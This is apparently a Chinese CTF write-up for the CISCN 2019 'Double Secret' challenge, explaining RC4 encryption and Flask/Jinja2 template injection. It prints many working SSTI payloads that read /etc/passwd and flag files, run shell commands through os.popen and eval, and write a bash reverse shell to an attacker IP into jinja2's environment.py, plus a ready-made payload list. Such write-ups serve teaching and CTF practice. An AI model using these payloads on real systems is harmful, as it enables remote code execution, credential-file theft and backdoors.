[CISCN 2019华东南]Double Secret

[CISCN 2019华东南]Double Secret

本题考点
  1. RC4对称加密
  2. flask模板注入
解题过程

进入题目只给了Welcome To Find Secret,查看源码、抓包都没有发现特别的提示,可以用御剑扫一扫后台目录,发现了/secret这个路径(脑洞大一点也可以直接猜到),页面内容为Tell me your secret.I will encrypt it so others can't see,猜测是GET型传参,试试/secret?secret=1,回显d,综合来看是对传入的secret进行了某种加密后回显。几经尝试,当传入?secret=11111时,页面报错

在这里插入图片描述

在报错页面发现了app.py的报错,点开有部分源码泄露

在这里插入图片描述

这段代码逻辑就是对传入的secret进行 RC4 加密,且密钥已知,safe()函数猜测是对恶意代码的过滤,然后用render_template_string()进行模板渲染,如果不了解可以搜一下这个函数,很容易搜出来这个渲染存在 flask 模板注入漏洞(SSTI)

RC4加密

先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。感兴趣可以参考这篇文章

这里直接给出网上的脚本

# RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文

import base64
from urllib.parse import quote


def rc4_main(key="init_key", message="init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return crypt


def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box


def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" % quote(cipher))
    # print("加密后的输出(经过编码):")
    # print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')


rc4_main("key", "text")

flask的模板注入

render_template_string是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI

html = '<h1>This is index page</h1>'
return render_template_string(html)
XSS利用

存在漏洞的代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和 html 拼接后直接带入渲染。尝试构造?code=<script>alert(1)</script>即可进行 xss 利用。将代码改为如下

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

js 代码会被原样输出,这是因为 flask 是使用 Jinja2 来作为渲染引擎的,在 Jinja2 模板引擎中,{{}}是变量包裹标识符。而模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在 xss 了。在这段代码中用户所控的是code变量,而不是模板内容。但这样就完了吗?当然大no特no,模板注入并不局限于 xss,它还可以进行其他攻击!

预备知识

简单了解一手Jinja2语言

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

通过这些语句可以执行一些简单的表达式。以本题为例,{{7*7}}经过加密后传参,表达式被执行,进行了乘法运算

在这里插入图片描述

实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。下面逐一介绍


__class__:返回当前类。{{''.__class__}}的结果为

在这里插入图片描述

虽然不知道这道题的过滤有啥限制作用,但还是介绍一下绕过过滤的方法

  • 关键词被过滤可以用拼接的办法:{{''['__cla'+'ss__']}}

  • 使用request.args进行绕过:request.args 是 flask 中的一个属性,为返回请求的参数,将后面的参数作为变量传递进去,进而绕过一些限制,具体看payload:{''[request.args.a][request.args.b][2][request.args.c]()[40]('/flag.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

  • {{ :用{%%}代替

  • · :用attr()代替

  • [ :用getitem()代替

  • \x : 用Unicode代替

__mor__:返回解析函数时,类的调用顺序。{{''.__class__.__mro__}}的结果为

在这里插入图片描述

通过索引的方式__mor__[2],就可返回 object 类

//获取基本类 object
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__base__
[].__class__.__base__
config.__class__.__base__.__base__
request.__class__.__mro__[9]   //在flask的jinja2模块渲染是可用

__base__:返回当前类父类(以字符串的形式)。{{''.__class__.__base__}}的结果为

在这里插入图片描述

或者 __bases__ 以元组的形式返回所有父类(元组可通过索引访问)。

__subclass__():返回当前类所有的子类,可通过索引的方式定位某一个子类。{{''.__class__.__mro__[2].__subclasses__()}}的结果为

在这里插入图片描述

__init__:类的初始化方法

__globals__:对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量


了解了上述知识就可以开启各种姿势的学习

文件读写

方法一:通过索引利用<type ‘file’>直接调用文件读写(仅适用于Python2)

str = "<type 'type'>, <type 'weakref'>,"  # {{''.__class__.__mro__[2].__subclasses__()}}得到基本类的所有子类
all_class = str.split(",")
for n in range(len(all_class)):
    if 'file' in all_class[n]:
        print('{} {}'.format(n, all_class[n]))

# 40  <type 'file'>
# 137  <class 'socket._fileobject'>
''.__class__.__mro__[2].__subclasses__()[40]("/flag.txt").read()

本题最终payload:

/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C3%9B%207%C3%9F%07%C2%B6A%C3%990%C3%A4%21%C2%8A%5E%C3%85%0D%C3%A2%17%C3%9B3%C2%93%C2%B6%C2%B6%3D3%C3%B5X%C3%AA%C2%BBJme%C2%A5%3Et%C2%83%7D%01%C2%8A%C2%ABO%10%C3%B1%C3%9CP%C2%A7T

在这里插入图片描述

read()改为write()就可以进行写操作:

''.__class__.__mro__[2].__subclasses__()[40]("/test.txt", "a").write("123")

方法二:寻找__builtins__模块,__globals__中会包括引入了的 modules ;同时每个 python 脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

# 利用open
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read()}}
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')}}
# 利用eval
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}
# 利用file
{{''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()}}
命令执行

方法一:寻找__builtins__模块

# 利用eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
# 利用linecache
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}
# 利用__import__
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

方法二:通过写 jinja2 的 environment.py 执行命令, jinja2 的模板会加载这个模块,而且这个 environment.py 引入了 os 模块, 所以只要能写这个文件,就可以执行任意命令:

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

方法三:直接利用 os 模块

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
总结

利用 flask 的 SSTI 漏洞,可以通过 python 的内置变量得到功能强大的 built-in functions , 从而执行各种命令。而 python 函数自带的__globals__属性使得寻找 built-in functions 的过程变得更加简单,不受版本约束。

下面贴上一些方便使用的payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_IterationGuard' %}{{ c.__init__.__globals__['__builtins__'].open("[evil]").read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').popen("[evil]").read() }}{% endif %}{% endfor %}

# 仅适用于Python2
{% for c in ().__class__.__bases__[0].__subclasses__():%}{% if c.__name__ == 'file':%}{{"Success! File contents is <br />"}}{% c('/etc/passwd').readlines() %}{% endif %}{% endfor %}

参考链接

https://www.freebuf.com/vuls/162752.html

https://blog.csdn.net/qq_59950255/article/details/123215817

https://cloud.tencent.com/developer/article/2124510

https://www.freebuf.com/column/187845.html

详细Bypass (赞):https://xz.aliyun.com/t/9584

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值